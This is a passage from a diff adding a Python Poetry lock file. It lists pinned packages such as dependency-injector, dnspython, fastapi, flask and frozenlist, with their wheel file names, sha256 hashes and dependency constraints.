"dependency_injector-4.41.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3535d06416251715b45f8412482b58ec1c6196a4a3baa207f947f0b03a7c4b44"}, + {file = "dependency_injector-4.41.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d09c08c944a25dabfb454238c1a889acd85102b93ae497de523bf9ab7947b28a"}, + {file = "dependency_injector-4.41.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:586a0821720b15932addbefb00f7370fbcd5831d6ebbd6494d774b44ff96d23a"}, + {file = "dependency_injector-4.41.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7fa4970f12a3fc95d8796938b11c41276ad1ff4c447b0e589212eab3fc527a90"}, + {file = "dependency_injector-4.41.0-cp310-cp310-win32.whl", hash = "sha256:d557e40673de984f78dab13ebd68d27fbb2f16d7c4e3b663ea2fa2f9fae6765b"}, + {file = "dependency_injector-4.41.0-cp310-cp310-win_amd64.whl", hash = "sha256:3744c327d18408e74781bd6d8b7738745ee80ef89f2c8daecf9ebd098cb84972"}, + {file = "dependency_injector-4.41.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:89c67edffe7007cf33cee79ecbca38f48efcc2add5c280717af434db6c789377"}, + {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:786f7aac592e191c9caafc47732161d807bad65c62f260cd84cd73c7e2d67d6d"}, + {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8b61a15bc46a3aa7b29bd8a7384b650aa3a7ef943491e93c49a0540a0b3dda4"}, + {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4f113e5d4c3070973ad76e5bda7317e500abae6083d78689f0b6e37cf403abf"}, + {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:5fa3ed8f0700e47a0e7363f949b4525ffa8277aa1c5b10ca5b41fce4dea61bb9"}, + {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:05e15ea0f2b14c1127e8b0d1597fef13f98845679f63bf670ba12dbfc12a16ef"}, + {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3055b3fc47a0d6e5f27defb4166c0d37543a4967c279549b154afaf506ce6efc"}, + {file = "dependency_injector-4.41.0-cp311-cp311-win32.whl", hash = "sha256:37d5954026e3831663518d78bdf4be9c2dbfea691edcb73c813aa3093aa4363a"}, + {file = "dependency_injector-4.41.0-cp311-cp311-win_amd64.whl", hash = "sha256:f89a507e389b7e4d4892dd9a6f5f4da25849e24f73275478634ac594d621ab3f"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:ac79f3c05747f9724bd56c06985e78331fc6c85eb50f3e3f1a35e0c60f9977e9"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:75e7a733b372db3144a34020c4233f6b94db2c6342d6d16bc5245b1b941ee2bd"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40936d9384363331910abd59dd244158ec3572abf9d37322f15095315ac99893"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a31d9d60be4b585585081109480cfb2ef564d3b851cb32a139bf8408411a93a"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:953bfac819d32dc72b963767589e0ed372e5e9e78b03fb6b89419d0500d34bbe"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:8f0090ff14038f17a026ca408a3a0b0e7affb6aa7498b2b59d670f40ac970fbe"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:6b29abac56ce347d2eb58a560723e1663ee2125cf5cc38866ed92b84319927ec"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-win32.whl", hash = "sha256:059fbb48333148143e8667a5323d162628dfe27c386bd0ed3deeecfc390338bf"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-win_amd64.whl", hash = "sha256:16de2797dcfcc2263b8672bf0751166f7c7b369ca2ff9246ceb67b65f8e1d802"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c71d30b6708438050675f338edb9a25bea6c258478dbe5ec8405286756a2d347"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d283aee588a72072439e6721cb64aa6cba5bc18c576ef0ab28285a6ec7a9d655"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc852da612c7e347f2fcf921df2eca2718697a49f648a28a63db3ab504fd9510"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:02620454ee8101f77a317f3229935ce687480883d72a40858ff4b0c87c935cce"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7a92680bea1c260e5c0d2d6cd60b0c913cba76a456a147db5ac047ecfcfcc758"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:168334cba3f1cbf55299ef38f0f2e31879115cc767b780c859f7814a52d80abb"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:48b6886a87b4ceb9b9f78550f77b2a5c7d2ce33bc83efd886556ad468cc9c85a"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-win32.whl", hash = "sha256:87be84084a1b922c4ba15e2e5aa900ee24b78a5467997cb7aec0a1d6cdb4a00b"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-win_amd64.whl", hash = "sha256:8b8cf1c6c56f5c18bdbd9f5e93b52ca29cb4d99606d4056e91f0c761eef496dc"}, + {file = "dependency_injector-4.41.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a8686fa330c83251c75c8238697686f7a0e0f6d40658538089165dc72df9bcff"}, + {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8d670a844268dcd758195e58e9a5b39fc74bb8648aba99a13135a4a10ec9cfac"}, + {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e3b9d41e0eff4c8e16fea1e33de66ff0030fe51137ca530f3c52ce110447914"}, + {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:33a724e0a737baadb4378f5dc1b079867cc3a88552fcca719b3dba84716828b2"}, + {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3588bd887b051d16b8bcabaae1127eb14059a0719a8fe34c8a75ba59321b352c"}, + {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:409441122f40e1b4b8582845fdd76deb9dc5c9d6eb74a057b85736ef9e9c671f"}, + {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:7dcba8665cafec825b7095d5dd80afb5cf14404450eca3fe8b66e1edbf4dbc10"}, + {file = "dependency_injector-4.41.0-cp38-cp38-win32.whl", hash = "sha256:8b51efeaebacaf79ef68edfc65e9687699ccffb3538c4a3ab30d0d77e2db7189"}, + {file = "dependency_injector-4.41.0-cp38-cp38-win_amd64.whl", hash = "sha256:1662e2ef60ac6e681b9e11b5d8b7c17a0f733688916cf695f9540f8f50a61b1e"}, + {file = "dependency_injector-4.41.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:51217cb384b468d7cc355544cec20774859f00812f9a1a71ed7fa701c957b2a7"}, + {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b3890a12423ae3a9eade035093beba487f8d092ee6c6cb8706f4e7080a56e819"}, + {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:99ed73b1521bf249e2823a08a730c9f9413a58f4b4290da022e0ad4fb333ba3d"}, + {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:300838e9d4f3fbf539892a5a4072851728e23b37a1f467afcf393edd994d88f0"}, + {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:56d37b9d2f50a18f059d9abdbea7669a7518bd42b81603c21a27910a2b3f1657"}, + {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:4a44ca3ce5867513a70b31855b218be3d251f5068ce1c480cc3a4ad24ffd3280"}, + {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:67b369592c57549ccdcad0d5fef1ddb9d39af7fed8083d76e789ab0111fc6389"}, + {file = "dependency_injector-4.41.0-cp39-cp39-win32.whl", hash = "sha256:740a8e8106a04d3f44b52b25b80570fdac96a8a3934423de7c9202c5623e7936"}, + {file = "dependency_injector-4.41.0-cp39-cp39-win_amd64.whl", hash = "sha256:22b11dbf696e184f0b3d5ac4e5418aeac3c379ba4ea758c04a83869b7e5d1cbf"}, + {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b365a8548e9a49049fa6acb24d3cd939f619eeb8e300ca3e156e44402dcc07ec"}, + {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5168dc59808317dc4cdd235aa5d7d556d33e5600156acaf224cead236b48a3e8"}, + {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e3229d83e99e255451605d5276604386e06ad948e3d60f31ddd796781c77f76f"}, + {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1baee908f21190bdc46a65ce4c417a5175e9397ca62354928694fce218f84487"}, + {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:b37f36ecb0c1227f697e1d4a029644e3eda8dd0f0716aa63ad04d96dbb15bbbb"}, + {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b0c9c966ff66c77364a2d43d08de9968aff7e3903938fe912ba49796b2133344"}, + {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:12e91ac0333e7e589421943ff6c6bf9cf0d9ac9703301cec37ccff3723406332"}, + {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b2440b32474d4e747209528ca3ae48f42563b2fbe3d74dbfe949c11dfbfef7c4"}, + {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54032d62610cf2f4421c9d92cef52957215aaa0bca403cda580c58eb3f726eda"}, + {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:76b94c8310929e54136f3cb3de3adc86d1a657b3984299f40bf1cd2ba0bae548"}, + {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6ee9810841c6e0599356cb884d16453bfca6ab739d0e4f0248724ed8f9ee0d79"}, + {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b98945edae88e777091bf0848f869fb94bd76dfa4066d7c870a5caa933391d0"}, + {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a2dee5d4abdd21f1a30a51d46645c095be9dcc404c7c6e9f81d0a01415a49e64"}, + {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d03f5fa0fa98a18bd0dfce846db80e2798607f0b861f1f99c97f441f7669d7a2"}, + {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:f2842e15bae664a9f69932e922b02afa055c91efec959cb1896f6c499bf68180"}, +] + +[package.dependencies] +six = ">=1.7.0,<=1.16.0" + +[package.extras] +aiohttp = ["aiohttp"] +flask = ["flask"] +pydantic = ["pydantic"] +yaml = ["pyyaml"] + +[[package]] +name = "dnfile" +version = "0.12.0" +description = "Parse .NET executable files." +optional = false +python-versions = ">=3.5" +files = [ + {file = "dnfile-0.12.0-py2.py3-none-any.whl", hash = "sha256:99a63504da5358814057c8669b14484907a75477922a03b7c49a5ec621aa281e"}, + {file = "dnfile-0.12.0.tar.gz", hash = "sha256:2beee20810bd4c8437d14a587e2aff1cb0de2a15e5f7fd468c9bc8b24f60a13a"}, +] + +[package.dependencies] +pefile = ">=2019.4.18" + +[package.extras] +test = ["isort (==5.10.1)", "mypy (==0.971)", "pycodestyle (==2.9.1)", "pytest (>=3)"] + +[[package]] +name = "dnspython" +version = "2.3.0" +description = "DNS toolkit" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "dnspython-2.3.0-py3-none-any.whl", hash = "sha256:89141536394f909066cabd112e3e1a37e4e654db00a25308b0f130bc3152eb46"}, + {file = "dnspython-2.3.0.tar.gz", hash = "sha256:224e32b03eb46be70e12ef6d64e0be123a64e621ab4c0822ff6d450d52a540b9"}, +] + +[package.extras] +curio = ["curio (>=1.2,<2.0)", "sniffio (>=1.1,<2.0)"] +dnssec = ["cryptography (>=2.6,<40.0)"] +doh = ["h2 (>=4.1.0)", "httpx (>=0.21.1)", "requests (>=2.23.0,<3.0.0)", "requests-toolbelt (>=0.9.1,<0.11.0)"] +doq = ["aioquic (>=0.9.20)"] +idna = ["idna (>=2.1,<4.0)"] +trio = ["trio (>=0.14,<0.23)"] +wmi = ["wmi (>=1.5.1,<2.0.0)"] + +[[package]] +name = "docopt" +version = "0.6.2" +description = "Pythonic argument parser, that will make you smile" +optional = false +python-versions = "*" +files = [ + {file = "docopt-0.6.2.tar.gz", hash = "sha256:49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491"}, +] + +[[package]] +name = "elastic-transport" +version = "8.4.0" +description = "Transport classes and utilities shared among Python Elastic client libraries" +optional = false +python-versions = ">=3.6" +files = [ + {file = "elastic-transport-8.4.0.tar.gz", hash = "sha256:b9ad708ceb7fcdbc6b30a96f886609a109f042c0b9d9f2e44403b3133ba7ff10"}, + {file = "elastic_transport-8.4.0-py3-none-any.whl", hash = "sha256:19db271ab79c9f70f8c43f8f5b5111408781a6176b54ab2e54d713b6d9ceb815"}, +] + +[package.dependencies] +certifi = "*" +urllib3 = ">=1.26.2,<2" + +[package.extras] +develop = ["aiohttp", "mock", "pytest", "pytest-asyncio", "pytest-cov", "pytest-httpserver", "pytest-mock", "requests", "trustme"] + +[[package]] +name = "elasticsearch" +version = "8.8.2" +description = "Python client for Elasticsearch" +optional = false +python-versions = ">=3.6, <4" +files = [ + {file = "elasticsearch-8.8.2-py3-none-any.whl", hash = "sha256:bffd6ce4faaacf90e6f617241773b3da8fb94e2e83554f5508e2fab92ca79643"}, + {file = "elasticsearch-8.8.2.tar.gz", hash = "sha256:bed8cf8fcc6c3be7c254b579de4c29afab021f373c832246f912d37aef3c6bd5"}, +] + +[package.dependencies] +elastic-transport = ">=8,<9" + +[package.extras] +async = ["aiohttp (>=3,<4)"] +requests = ["requests (>=2.4.0,<3.0.0)"] + +[[package]] +name = "enum-compat" +version = "0.0.3" +description = "enum/enum34 compatibility package" +optional = false +python-versions = "*" +files = [ + {file = "enum-compat-0.0.3.tar.gz", hash = "sha256:3677daabed56a6f724451d585662253d8fb4e5569845aafa8bb0da36b1a8751e"}, + {file = "enum_compat-0.0.3-py3-none-any.whl", hash = "sha256:88091b617c7fc3bbbceae50db5958023c48dc40b50520005aa3bf27f8f7ea157"}, +] + +[[package]] +name = "fastapi" +version = "0.82.0" +description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" +optional = false +python-versions = ">=3.6.1" +files = [ + {file = "fastapi-0.82.0-py3-none-any.whl", hash = "sha256:a4269329a7374c78f6e92c195d14cc4ce3a525e25b79e62edf2df8196469743f"}, + {file = "fastapi-0.82.0.tar.gz", hash = "sha256:5ee7b7473a55940a18d4869ff57d29c372363bf8d3033a0e660a8cf38b1d3d9e"}, +] + +[package.dependencies] +pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0" +starlette = "0.19.1" + +[package.extras] +all = ["email_validator (>=1.1.1,<2.0.0)", "itsdangerous (>=1.1.0,<3.0.0)", "jinja2 (>=2.11.2,<4.0.0)", "orjson (>=3.2.1,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "pyyaml (>=5.3.1,<7.0.0)", "requests (>=2.24.0,<3.0.0)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"] +dev = ["autoflake (>=1.4.0,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "passlib[bcrypt] (>=1.7.2,<2.0.0)", "pre-commit (>=2.17.0,<3.0.0)", "python-jose[cryptography] (>=3.3.0,<4.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"] +doc = ["mdx-include (>=1.4.1,<2.0.0)", "mkdocs (>=1.1.2,<2.0.0)", "mkdocs-markdownextradata-plugin (>=0.1.7,<0.3.0)", "mkdocs-material (>=8.1.4,<9.0.0)", "pyyaml (>=5.3.1,<7.0.0)", "typer (>=0.4.1,<0.5.0)"] +test = ["anyio[trio] (>=3.2.1,<4.0.0)", "black (==22.3.0)", "databases[sqlite] (>=0.3.2,<0.6.0)", "email_validator (>=1.1.1,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "flask (>=1.1.2,<3.0.0)", "httpx (>=0.14.0,<0.19.0)", "isort (>=5.0.6,<6.0.0)", "mypy (==0.910)", "orjson (>=3.2.1,<4.0.0)", "peewee (>=3.13.3,<4.0.0)", "pytest (>=6.2.4,<7.0.0)", "pytest-cov (>=2.12.0,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "requests (>=2.24.0,<3.0.0)", "sqlalchemy (>=1.3.18,<1.5.0)", "types-dataclasses (==0.6.5)", "types-orjson (==3.6.2)", "types-ujson (==4.2.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)"] + +[[package]] +name = "fastapi-class" +version = "2.0.0" +description = "Classes and Decorators to use FastAPI with Class based routing" +optional = false +python-versions = ">=3.8" +files = [ + {file = "fastapi_class-2.0.0-py3-none-any.whl", hash = "sha256:79c3349bc134a3c8ef54b8eec41265cb78ed3dc300e49550c3c02c8886737090"}, + {file = "fastapi_class-2.0.0.tar.gz", hash = "sha256:39af59d0529eaa2694793806c3c29ea9ec79134540b17b8df5f50a6602b4991d"}, +] + +[package.dependencies] +fastapi = ">=0.65.2,<0.90.0" +pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0" + +[package.extras] +lint = ["mypy (==0.991)", "pre-commit (==2.21.0)"] +test = ["codecov (==2.1.12)", "httpx", "pytest (==7.2.0)", "pytest-asyncio (==0.20.3)", "pytest-cov (==4.0.0)", "requests (==2.28.1)"] + +[[package]] +name = "flake8" +version = "5.0.4" +description = "the modular source code checker: pep8 pyflakes and co" +optional = false +python-versions = ">=3.6.1" +files = [ + {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"}, + {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"}, +] + +[package.dependencies] +mccabe = ">=0.7.0,<0.8.0" +pycodestyle = ">=2.9.0,<2.10.0" +pyflakes = ">=2.5.0,<2.6.0" + +[[package]] +name = "flake8-cognitive-complexity" +version = "0.1.0" +description = "An extension for flake8 that validates cognitive functions complexity" +optional = false +python-versions = ">=3.6" +files = [ + {file = "flake8_cognitive_complexity-0.1.0.tar.gz", hash = "sha256:f202df054e4f6ff182b659c261922b9c684628a47beb19cb0973c50d6a7831c1"}, +] + +[package.dependencies] +cognitive_complexity = "*" +setuptools = "*" + +[[package]] +name = "flask" +version = "2.3.2" +description = "A simple framework for building complex web applications." +optional = false +python-versions = ">=3.8" +files = [ + {file = "Flask-2.3.2-py3-none-any.whl", hash = "sha256:77fd4e1249d8c9923de34907236b747ced06e5467ecac1a7bb7115ae0e9670b0"}, + {file = "Flask-2.3.2.tar.gz", hash = "sha256:8c2f9abd47a9e8df7f0c3f091ce9497d011dc3b31effcf4c85a6e2b50f4114ef"}, +] + +[package.dependencies] +blinker = ">=1.6.2" +click = ">=8.1.3" +itsdangerous = ">=2.1.2" +Jinja2 = ">=3.1.2" +Werkzeug = ">=2.3.3" + +[package.extras] +async = ["asgiref (>=3.2)"] +dotenv = ["python-dotenv"] + +[[package]] +name = "frozenlist" +version = "1.3.3" +description = "A list-like structure which implements collections.abc.MutableSequence" +optional = false +python-versions = ">=3.7" +files = [ + {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ff8bf625fe85e119553b5383ba0fb6aa3d0ec2ae980295aaefa552374926b3f4"}, + {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dfbac4c2dfcc082fcf8d942d1e49b6aa0766c19d3358bd86e2000bf0fa4a9cf0"}, + {file = "frozenlist-1.3.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b1c63e8d377d039ac769cd0926558bb7068a1f7abb0f003e3717ee003ad85530"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fdfc24dcfce5b48109867c13b4cb15e4660e7bd7661741a391f821f23dfdca7"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c926450857408e42f0bbc295e84395722ce74bae69a3b2aa2a65fe22cb14b99"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1841e200fdafc3d51f974d9d377c079a0694a8f06de2e67b48150328d66d5483"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f470c92737afa7d4c3aacc001e335062d582053d4dbe73cda126f2d7031068dd"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:783263a4eaad7c49983fe4b2e7b53fa9770c136c270d2d4bbb6d2192bf4d9caf"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:924620eef691990dfb56dc4709f280f40baee568c794b5c1885800c3ecc69816"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ae4dc05c465a08a866b7a1baf360747078b362e6a6dbeb0c57f234db0ef88ae0"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:bed331fe18f58d844d39ceb398b77d6ac0b010d571cba8267c2e7165806b00ce"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:02c9ac843e3390826a265e331105efeab489ffaf4dd86384595ee8ce6d35ae7f"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9545a33965d0d377b0bc823dcabf26980e77f1b6a7caa368a365a9497fb09420"}, + {file = "frozenlist-1.3.3-cp310-cp310-win32.whl", hash = "sha256:d5cd3ab21acbdb414bb6c31958d7b06b85eeb40f66463c264a9b343a4e238642"}, + {file = "frozenlist-1.3.3-cp310-cp310-win_amd64.whl", hash = "sha256:b756072364347cb6aa5b60f9bc18e94b2f79632de3b0190253ad770c5df17db1"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b4395e2f8d83fbe0c627b2b696acce67868793d7d9750e90e39592b3626691b7"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:14143ae966a6229350021384870458e4777d1eae4c28d1a7aa47f24d030e6678"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5d8860749e813a6f65bad8285a0520607c9500caa23fea6ee407e63debcdbef6"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23d16d9f477bb55b6154654e0e74557040575d9d19fe78a161bd33d7d76808e8"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb82dbba47a8318e75f679690190c10a5e1f447fbf9df41cbc4c3afd726d88cb"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9309869032abb23d196cb4e4db574232abe8b8be1339026f489eeb34a4acfd91"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a97b4fe50b5890d36300820abd305694cb865ddb7885049587a5678215782a6b"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c188512b43542b1e91cadc3c6c915a82a5eb95929134faf7fd109f14f9892ce4"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:303e04d422e9b911a09ad499b0368dc551e8c3cd15293c99160c7f1f07b59a48"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:0771aed7f596c7d73444c847a1c16288937ef988dc04fb9f7be4b2aa91db609d"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:66080ec69883597e4d026f2f71a231a1ee9887835902dbe6b6467d5a89216cf6"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:41fe21dc74ad3a779c3d73a2786bdf622ea81234bdd4faf90b8b03cad0c2c0b4"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f20380df709d91525e4bee04746ba612a4df0972c1b8f8e1e8af997e678c7b81"}, + {file = "frozenlist-1.3.3-cp311-cp311-win32.whl", hash = "sha256:f30f1928162e189091cf4d9da2eac617bfe78ef907a761614ff577ef4edfb3c8"}, + {file = "frozenlist-1.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:a6394d7dadd3cfe3f4b3b186e54d5d8504d44f2d58dcc89d693698e8b7132b32"}, + {file = "frozenlist-1.3.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8df3de3a9ab8325f94f646609a66cbeeede263910c5c0de0101079ad541af332"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0693c609e9742c66ba4870bcee1ad5ff35462d5ffec18710b4ac89337ff16e27"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cd4210baef299717db0a600d7a3cac81d46ef0e007f88c9335db79f8979c0d3d"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:394c9c242113bfb4b9aa36e2b80a05ffa163a30691c7b5a29eba82e937895d5e"}, + {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6327eb8e419f7d9c38f333cde41b9ae348bec26d840927332f17e887a8dcb70d"}, + {file = 